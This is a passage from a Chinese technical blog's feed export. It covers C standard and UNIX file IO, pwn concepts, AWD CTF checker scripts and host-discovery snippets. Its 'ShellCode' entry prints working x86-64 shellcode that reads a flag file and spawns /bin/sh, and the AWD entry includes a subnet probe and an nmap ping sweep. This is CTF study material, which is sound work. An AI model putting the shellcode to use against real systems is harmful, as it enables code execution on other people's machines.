class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">putc</span><span class="hljs-params">(<span class="hljs-type">int</span> c, FILE *fp )</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">fputc</span><span class="hljs-params">(<span class="hljs-type">int</span> c, FILE *fp);</span><br><span class="hljs-params"><span class="hljs-type">int</span> <span class="hljs-built_in">putchar</span>(<span class="hljs-type">int</span> c);</span><br></code></pre></td></tr></table></figure><p>同上putc 可被实现为宏,而fputc 则不能实现为宏。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">size_t</span> <span class="hljs-title function_">fwrite</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">void</span> *ptr, <span class="hljs-type">size_t</span> size, size _tnobj, FILE *fp)</span> ;<br></code></pre></td></tr></table></figure><h2 id="行IO"><a href="#行IO" class="headerlink" title="行IO"></a>行IO</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">char</span> *<span class="hljs-title function_">fgets</span><span class="hljs-params">(<span class="hljs-type">char</span> *buf, <span class="hljs-type">int</span> n,FILE * fp)</span> ;<br><span class="hljs-type">char</span> *<span class="hljs-title function_">gets</span><span class="hljs-params">(<span class="hljs-type">char</span> *buf)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">fputs</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *str, FILE *fp)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">puts</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *str)</span> <br></code></pre></td></tr></table></figure><p>fgets n 指定缓存的长度</p><p>gets不能指定缓存长度,因此此函数不推荐使用,必定会造成内存越界</p><h1 id="定位流"><a href="#定位流" class="headerlink" title="定位流"></a>定位流</h1><p>(1) ftell和fseek</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">long</span> <span class="hljs-title function_">ftell</span><span class="hljs-params">(FILE *fp)</span> ;<span class="hljs-comment">//返回:若成功则为当前文件位置指示,若出错则为- 1</span><br><span class="hljs-type">int</span> <span class="hljs-title function_">fseek</span><span class="hljs-params">(FILE *fp,<span class="hljs-type">long</span> offset,<span class="hljs-type">int</span> whence)</span> <br></code></pre></td></tr></table></figure><p>以上其实与原UNIX函数功能一致</p><p>(2) fgetpos和fsetpos</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">fgetpos</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">fpos_t</span> pos)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">fsetpos</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">const</span> <span class="hljs-type">fpos_t</span> *pos)</span> ;<br></code></pre></td></tr></table></figure><p>fgetpos将文件位置指示器的当前值存入由 pos指向的对象中。在以后调用fsetpos时,可以使用 此值将流重新定位至该位置。其实就是保存当前文件流的位置</p><h1 id="格式化IO"><a href="#格式化IO" class="headerlink" title="格式化IO"></a>格式化IO</h1><h2 id="输出"><a href="#输出" class="headerlink" title="输出"></a>输出</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">printf</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *format, ...)</span>;<br><span class="hljs-type">int</span> <span class="hljs-title function_">fprintf</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">const</span> <span class="hljs-type">char</span> * format, ...)</span>; <br><span class="hljs-type">int</span> <span class="hljs-title function_">sprintf</span><span class="hljs-params">(<span class="hljs-type">char</span> * buf, <span class="hljs-type">const</span> <span class="hljs-type">char</span> * format, ...)</span>;<br><span class="hljs-comment">//成功则为输出字符数,若输出出错则为负值 </span><br></code></pre></td></tr></table></figure><p>printf将格式化数据写到标准输出,fprintf写至指定的流,sprintf将格式化的字符送入数组 uf中。 sprintf在该数组的尾端自动加一个null字节,但该字节不包括在返回值中。</p><p>sprintf可能会造成由buf指向的缓存的溢出。保证该缓存有足够长度是调用者的责任</p><h2 id="输入"><a href="#输入" class="headerlink" title="输入"></a>输入</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">scanf</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *format, ...)</span>; <br><span class="hljs-type">int</span> <span class="hljs-title function_">fscanf</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">const</span> <span class="hljs-type">char</span> *format, ...)</span>; <br><span class="hljs-type">int</span> <span class="hljs-title function_">sscanf</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *buf, <span class="hljs-type">const</span> <span class="hljs-type">char</span> *format, ...)</span>;<br></code></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">fileno</span><span class="hljs-params">(FILE *fp)</span>;<span class="hljs-comment">//返回流的文件描述符</span><br></code></pre></td></tr></table></figure><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>ANSI C 的标准IO库中的函数其实还是对原UNIXIO函数的封装,关键是新增缓存功能,以提高IO系统的效率</p>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>Linux进程通信-文件I/O</title>
<link href="/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E6%96%87%E4%BB%B6IO/"/>
<url>/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E6%96%87%E4%BB%B6IO/</url>
<content type="html"><![CDATA[<h1 id="文件描述符"><a href="#文件描述符" class="headerlink" title="文件描述符"></a>文件描述符</h1><p>对内核来说,所有打开的文件通过文件描述符引用,文件描述符是一个非负整数。</p><p>当打开一个现存文件或者创建新文件时,内核向进程返回一个文件描述符,读写文件时,通过描述符标识文件</p><p>按照惯例,UNIX shell使文件描述符0与进程的标准输入相结合,文件描述符 1与标准输出 相结合,文件描述符2与标准出错输出相结合。这是UNIX shell以及很多应用程序使用的惯例, 而与内核无关。尽管如此,如果不遵照这种惯例,那么很多 UNIX应用程序就不能工作。</p><p>一下为传统UNIX IO函数,每个函数实际是对系统调用的简单封装,因此这些函数都没有缓存</p><h1 id="open"><a href="#open" class="headerlink" title="open"></a>open</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">open</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *pathname , <span class="hljs-type">int</span> oflag,...<span class="hljs-comment">/*, mode_t mode * / ) </span></span><br></code></pre></td></tr></table></figure><p>仅当创建新文件才使用第三个参数</p><p>pathname 指向以NULL的字符串,表明目标文件名</p><p>oflag 参数表明打开的模式</p><p>O_RDONLY 只读打开 O_WRONLY 只写打开 O_RDWR 读、写打开。</p><p>由op n返回的文件描述符一定是最小的未用描述符数字</p><h1 id="create"><a href="#create" class="headerlink" title="create"></a>create</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">creat</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *pathname, mode _tmode)</span> <br></code></pre></td></tr></table></figure><p>等价于</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">open</span> <span class="hljs-params">(pathname, O_WRONL|YO_CREAT|O_TRUNC, mode)</span> ;<br></code></pre></td></tr></table></figure><p>早期UNIX open函数不具有创建新文件功能,但是现在是提供了,所以不在需要create函数</p><h1 id="close"><a href="#close" class="headerlink" title="close"></a>close</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">close</span> <span class="hljs-params">(<span class="hljs-type">int</span> filedes)</span>;<br></code></pre></td></tr></table></figure><p>进程终止时,它打开的所有文件由内核自带关闭</p><h1 id="lseek"><a href="#lseek" class="headerlink" title="lseek"></a>lseek</h1><p>打开的文件有一个“当前文件偏移量”,是从文件开头的字节数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">off_t</span> <span class="hljs-title function_">lseek</span><span class="hljs-params">(<span class="hljs-type">int</span> filedes, off_to ffset, <span class="hljs-type">int</span> whence)</span> ;<br></code></pre></td></tr></table></figure><p>对参数offset 的解释与参数w h e n c e的值有关。</p><p>若whence是SEEK _ SET,则将该文件的位移量设置为距文件开始处offset 个字节。 </p><p>若whence是SEEK _ CUR,则将该文件的位移量设置为其当前值加offset, offset可为正或负。 </p><p>若whence是SEEK _ END,则将该文件的位移量设置为文件长度加offset, offset可为正或负。</p><p>执行成功返回新的文件偏移量</p><p>某些设备可能允许负的位移量,测试时要判断是否等于-1而不是小于0</p><p>文件位移量可以大于文件的当前长度,在这种情况下,对该文件的下一次写将延长该文件, 并在文件中构成一个空调,这一点是允许的。位于文件中但没有写过的字节都被读为 0</p><h1 id="read"><a href="#read" class="headerlink" title="read"></a>read</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">ssize_t</span> <span class="hljs-title function_">read</span><span class="hljs-params">(<span class="hljs-type">int</span> filedes, <span class="hljs-type">void</span> *buff, <span class="hljs-type">size_t</span> nbytes)</span> ;<br></code></pre></td></tr></table></figure><p>返回实际读取的字节数</p><h1 id="write"><a href="#write" class="headerlink" title="write"></a>write</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">ssize_t</span> <span class="hljs-title function_">write</span><span class="hljs-params">(<span class="hljs-type">int</span> filedes, <span class="hljs-type">void</span> *buff, <span class="hljs-type">size_t</span> nbytes)</span> ;<br></code></pre></td></tr></table></figure><p>返回实际写入的字节数</p><h1 id="文件共享"><a href="#文件共享" class="headerlink" title="文件共享"></a>文件共享</h1>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>SourceInsight使用</title>
<link href="/2024/05/26/misc/SourceInsight%E4%BD%BF%E7%94%A8/"/>
<url>/2024/05/26/misc/SourceInsight%E4%BD%BF%E7%94%A8/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>ELFLoader</title>
<link href="/2024/05/23/ELF/ELFLoader/"/>
<url>/2024/05/23/ELF/ELFLoader/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>Pwn杂谈</title>
<link href="/2024/05/20/Pwn/Pwn%E6%9D%82%E8%B0%88/"/>
<url>/2024/05/20/Pwn/Pwn%E6%9D%82%E8%B0%88/</url>
<content type="html"><![CDATA[<p>Pwn 也叫二进制漏洞挖掘与利用,显然,关键在于挖掘和利用上,根本目的是 任意代码执行 | 某些代码的执行 | 目标服务宕机 (控制程序执行流)</p><p>二进制漏洞可以归结为以下几类</p><ul><li>内存溢出 (写了不该写的地方)</li><li>内存泄露 (泄露不属于自己的部分)</li><li>使用不合法的内存区域 (使用了不该使用的指针|变量)</li></ul><p>例如栈溢出和堆溢出就属于内存溢出</p><p>内存泄露 例如puts连带打印 printf格式化字符串</p><p>堆的uaf就属于使用不合法的内存区域</p><h2 id="控制程序执行流"><a href="#控制程序执行流" class="headerlink" title="控制程序执行流"></a>控制程序执行流</h2><p>控制执行流首先得是先了解执行流</p><p>1 例如x86架构下的c/c++ 函数使用堆栈保存返回地址,使用ret指令来回到调用地方</p><p>这里就存在一个跳转,如果能获取这个位置的内存写入,即可控制程序执行流</p><p>2 mallc_hook free_hook 这种函数指针也类似于ret指令,只要能做到写入即可控制执行流</p><p>3 FSOP 类似伪造的,实际也是函数指针</p><p>说到底,控制执行流的方法好像十分单一,因为执行流很多都是固定的,少有那种根据可写内存来选择执行流,尤其是glibc 2.34开始移除了mallc_hook free_hook函数指针,可以看到,函数指针的用法实际是不安全的 (还有glibc中的 IO_list_all 指针)</p><h2 id="算法攻击"><a href="#算法攻击" class="headerlink" title="算法攻击"></a>算法攻击</h2><p>例如glibc中的heap 利用,利用常规漏洞如溢出等,结合代码的算法造成一定的攻击,包括但不限于任意地址读,任意地址写和任意地址跳转</p>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>Pwn出题</title>
<link href="/2024/05/16/Pwn/Pwn%E5%87%BA%E9%A2%98/"/>
<url>/2024/05/16/Pwn/Pwn%E5%87%BA%E9%A2%98/</url>
<content type="html"><![CDATA[<h1 id="Docker"><a href="#Docker" class="headerlink" title="Docker"></a>Docker</h1><p>有两种概念 镜像和容器,类似于可执行文件和进程,一个是静态一个是动态的。</p><h2 id="Docker命令"><a href="#Docker命令" class="headerlink" title="Docker命令"></a>Docker命令</h2><p>列出镜像</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker images<br></code></pre></td></tr></table></figure><p>启动容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker run <镜像名|ID><br><span class="hljs-meta prompt_">#</span><span class="language-bash">可选参数</span><br>-p <主机端口>:<容器端口> #可映射多个端口<br>--name <container_name><br>-d #在后台运行容器。<br></code></pre></td></tr></table></figure><p>列出容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker ps<br></code></pre></td></tr></table></figure><p>停止容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker stop <container_id><br></code></pre></td></tr></table></figure><p>重启容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker restart <container_id><br></code></pre></td></tr></table></figure><p>删除容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker rm <container_id><br></code></pre></td></tr></table></figure><p>容器shell</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker exec -it <container_id> /bin/bash<br></code></pre></td></tr></table></figure><p>文件传输</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker cp <原文件路径> <目标路径><br><container_id>:<path><br></code></pre></td></tr></table></figure><p>打包docker镜像</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker save <IMAGE_ID><br>-o="<file_name>"<br></code></pre></td></tr></table></figure><p>加载镜像</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker load -i <file_name><br></code></pre></td></tr></table></figure><p>删除镜像</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker rmi <IMAGE_ID><br>-f #强制<br></code></pre></td></tr></table></figure><h1 id="AWD"><a href="#AWD" class="headerlink" title="AWD"></a>AWD</h1><h2 id="check"><a href="#check" class="headerlink" title="check"></a>check</h2><h3 id="检查nop-free"><a href="#检查nop-free" class="headerlink" title="检查nop free:"></a>检查nop free:</h3><p><strong>断点命令</strong>:通过python启动gdb 同时gdb打断点,如果运行到free 输出,然后打开文件即可判断是否执行了free</p><h3 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">check_free</span>():<br> p=pwnlib.gdb.debug(remote_patched_file,gdbscript=<span class="hljs-string">"source .gdbinit"</span>)<br> add()<br> free(<span class="hljs-number">0</span>)<br> sleep(<span class="hljs-number">3</span>)<br> p.close()<br> search_string_in_file(file_path,search_string)<span class="hljs-comment">#根据gdb输出判断free是否被调用</span><br> system(<span class="hljs-string">"rm gdb.txt"</span>)<br><br></code></pre></td></tr></table></figure><p>上面代码启动gdb需要一个终端,在某些环境下可能不支持,建议使用如下代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">check_free</span>():<br> p=process(remote_patched_file)<br> <span class="hljs-built_in">print</span>(p.proc.pid)<br> q = process([<span class="hljs-string">"gdb"</span>, <span class="hljs-string">"-p"</span>,<span class="hljs-built_in">str</span>(p.proc.pid)])<br> sleep(<span class="hljs-number">3</span>)<br> add()<br> free()<br> sleep(<span class="hljs-number">3</span>)<br> p.close()<br> q.close()<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">not</span> search_string_in_file(file_path,search_string)):<br> check_fail()<br> system(<span class="hljs-string">"rm gdb.txt"</span>)<br></code></pre></td></tr></table></figure><p>代码不启动新终端,且gdb进程被关闭</p><h3 id="gdbinit"><a href="#gdbinit" class="headerlink" title=".gdbinit:"></a>.gdbinit:</h3><p>日志默认输出在当前目录下的 gdb.txt</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_"># </span><span class="language-bash">设置一个在 free 函数处的断点</span><br>set logging enabled on<br>set breakpoint pending on<br>file ./pwn_check<br>printf "free 函数被hook了"<br><span class="hljs-meta prompt_"># </span><span class="language-bash">定义一个触发操作,在 free 函数被调用时输出一条消息</span><br>break free<br>commands<br>silent<br>printf "free 函数被调用了"<br>c<br>end<br>c<br><br>set logging enabled<br>"""<br></code></pre></td></tr></table></figure><p>tips: commands块只与最近的break联动</p><h3 id="检查文件大小和patch-字节数"><a href="#检查文件大小和patch-字节数" class="headerlink" title="检查文件大小和patch 字节数:"></a>检查文件大小和patch 字节数:</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> os<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">count_different_bytes</span>(<span class="hljs-params">file1_path, file2_path</span>):<br> <span class="hljs-string">"""</span><br><span class="hljs-string"> 返回两个文件中不同字节数的数量</span><br><span class="hljs-string"> """</span><br> <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(file1_path, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f1, <span class="hljs-built_in">open</span>(file2_path, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f2:<br> different_bytes_count = <span class="hljs-number">0</span><br> <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br> byte1 = f1.read(<span class="hljs-number">1</span>)<br> byte2 = f2.read(<span class="hljs-number">1</span>)<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> byte1 <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> byte2:<br> <span class="hljs-keyword">break</span><br> <span class="hljs-keyword">if</span> byte1 != byte2:<br> different_bytes_count += <span class="hljs-number">1</span><br> <br> <span class="hljs-keyword">return</span> different_bytes_count<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">compare_file_sizes</span>(<span class="hljs-params">file1_path, file2_path</span>):<br> size1 = os.path.getsize(file1_path)<br> size2 = os.path.getsize(file2_path)<br> <br> <span class="hljs-keyword">return</span> size1 == size2<br></code></pre></td></tr></table></figure><h3 id="检查服务是否正常"><a href="#检查服务是否正常" class="headerlink" title="检查服务是否正常"></a>检查服务是否正常</h3><p>按照题目写</p>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>awd</title>
<link href="/2024/05/14/Pwn/awd/"/>
<url>/2024/05/14/Pwn/awd/</url>
<content type="html"><![CDATA[<h1 id="探测ip"><a href="#探测ip" class="headerlink" title="探测ip"></a>探测ip</h1><p>bugku探测</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> socket<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">check_ip</span>(<span class="hljs-params">ip</span>):<br> <span class="hljs-keyword">try</span>:<br> host = socket.gethostbyname(ip)<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Host '<span class="hljs-subst">{ip}</span>' is reachable. IP address: <span class="hljs-subst">{host}</span>"</span>)<br> <span class="hljs-keyword">except</span> socket.gaierror:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Host '<span class="hljs-subst">{ip}</span>' is not reachable."</span>)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">255</span>):<br> hostname=<span class="hljs-string">'192-168-1-'</span>+<span class="hljs-built_in">str</span>(i)+<span class="hljs-string">".pvp3937.bugku.cn"</span><br> check_ip(hostname)<br> <br><br></code></pre></td></tr></table></figure><p>nmap</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">nmap -sn <ip>/<子网掩码长度><br></code></pre></td></tr></table></figure><h1 id="提交flag"><a href="#提交flag" class="headerlink" title="提交flag"></a>提交flag</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">submit_flag</span>(<span class="hljs-params">token, flag</span>):<br> api_url = <span class="hljs-string">'https://ctf.bugku.com/pvp/submit.html'</span><br> params = {<span class="hljs-string">'token'</span>: token, <span class="hljs-string">'flag'</span>: flag}<br> response = requests.get(api_url, params=params)<br> <span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Flag <span class="hljs-subst">{flag}</span> submitted successfully!"</span>)<br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"Failed to submit flag."</span>)<br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>ShellCode</title>
<link href="/2024/05/14/Pwn/ShellCode/"/>
<url>/2024/05/14/Pwn/ShellCode/</url>
<content type="html"><![CDATA[<h1 id="ORW"><a href="#ORW" class="headerlink" title="ORW"></a>ORW</h1><h2 id="openat-read-write"><a href="#openat-read-write" class="headerlink" title="openat+read+write"></a>openat+read+write</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs python">shellcode=asm(<span class="hljs-string">'''</span><br><span class="hljs-string"> mov edi,0x0FFFFFF9C</span><br><span class="hljs-string"> push 0x67616c66</span><br><span class="hljs-string"> mov rsi,rsp</span><br><span class="hljs-string"> mov rdx,0</span><br><span class="hljs-string"> mov r10,0x180</span><br><span class="hljs-string"> mov rax,0x101</span><br><span class="hljs-string"> syscall</span><br><span class="hljs-string"> </span><br><span class="hljs-string"> mov rdi,3</span><br><span class="hljs-string"> mov rsi,rsp</span><br><span class="hljs-string"> mov rdx,0x40</span><br><span class="hljs-string"> mov rax,0x0</span><br><span class="hljs-string"> syscall</span><br><span class="hljs-string"> </span><br><span class="hljs-string"> mov rdi,1</span><br><span class="hljs-string"> mov rsi,rsp</span><br><span class="hljs-string"> mov rdx,0x40</span><br><span class="hljs-string"> mov rax,0x1</span><br><span class="hljs-string"> syscall</span><br><span class="hljs-string"> '''</span>)<span class="hljs-comment">#位置无关代码,但要求rsp指向可读可写区域</span><br><br></code></pre></td></tr></table></figure><h1 id="execve"><a href="#execve" class="headerlink" title="execve"></a>execve</h1><h2 id="execve-0-0-”-bin-sh”"><a href="#execve-0-0-”-bin-sh”" class="headerlink" title="execve(0,0,”/bin/sh”)"></a>execve(0,0,”/bin/sh”)</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python">shellcode=asm(<span class="hljs-string">'''</span><br><span class="hljs-string"> mov rax,0x68732f6e69622f</span><br><span class="hljs-string"> push rax</span><br><span class="hljs-string"> mov rdi,rsp</span><br><span class="hljs-string"> xor rsi,rsi</span><br><span class="hljs-string"> xor rdx,rdx</span><br><span class="hljs-string"> mov rax,0x3b</span><br><span class="hljs-string"> syscall</span><br><span class="hljs-string"> '''</span>)<span class="hljs-comment">#位置无关代码 但要求rsp指向可读可写区域</span><br></code></pre></td></tr></table></figure><h1 id="变形"><a href="#变形" class="headerlink" title="变形"></a>变形</h1><p>拿到已知可读可写地址 rsp指向即可(因为需要 flag | /bin/sh 字符串指针)</p>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>Pwn常用命令</title>
<link href="/2024/05/14/Pwn/Pwn%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/"/>
<url>/2024/05/14/Pwn/Pwn%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/</url>
